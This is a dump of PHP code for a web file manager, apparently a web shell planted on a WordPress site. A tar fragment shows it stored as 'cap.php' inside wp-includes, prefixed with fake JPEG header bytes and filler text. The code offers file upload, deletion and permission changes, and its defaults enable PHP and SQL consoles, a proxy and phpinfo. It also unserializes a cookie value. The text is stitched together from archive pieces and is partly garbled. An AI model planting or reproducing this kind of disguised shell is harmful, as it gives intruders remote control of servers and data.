			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
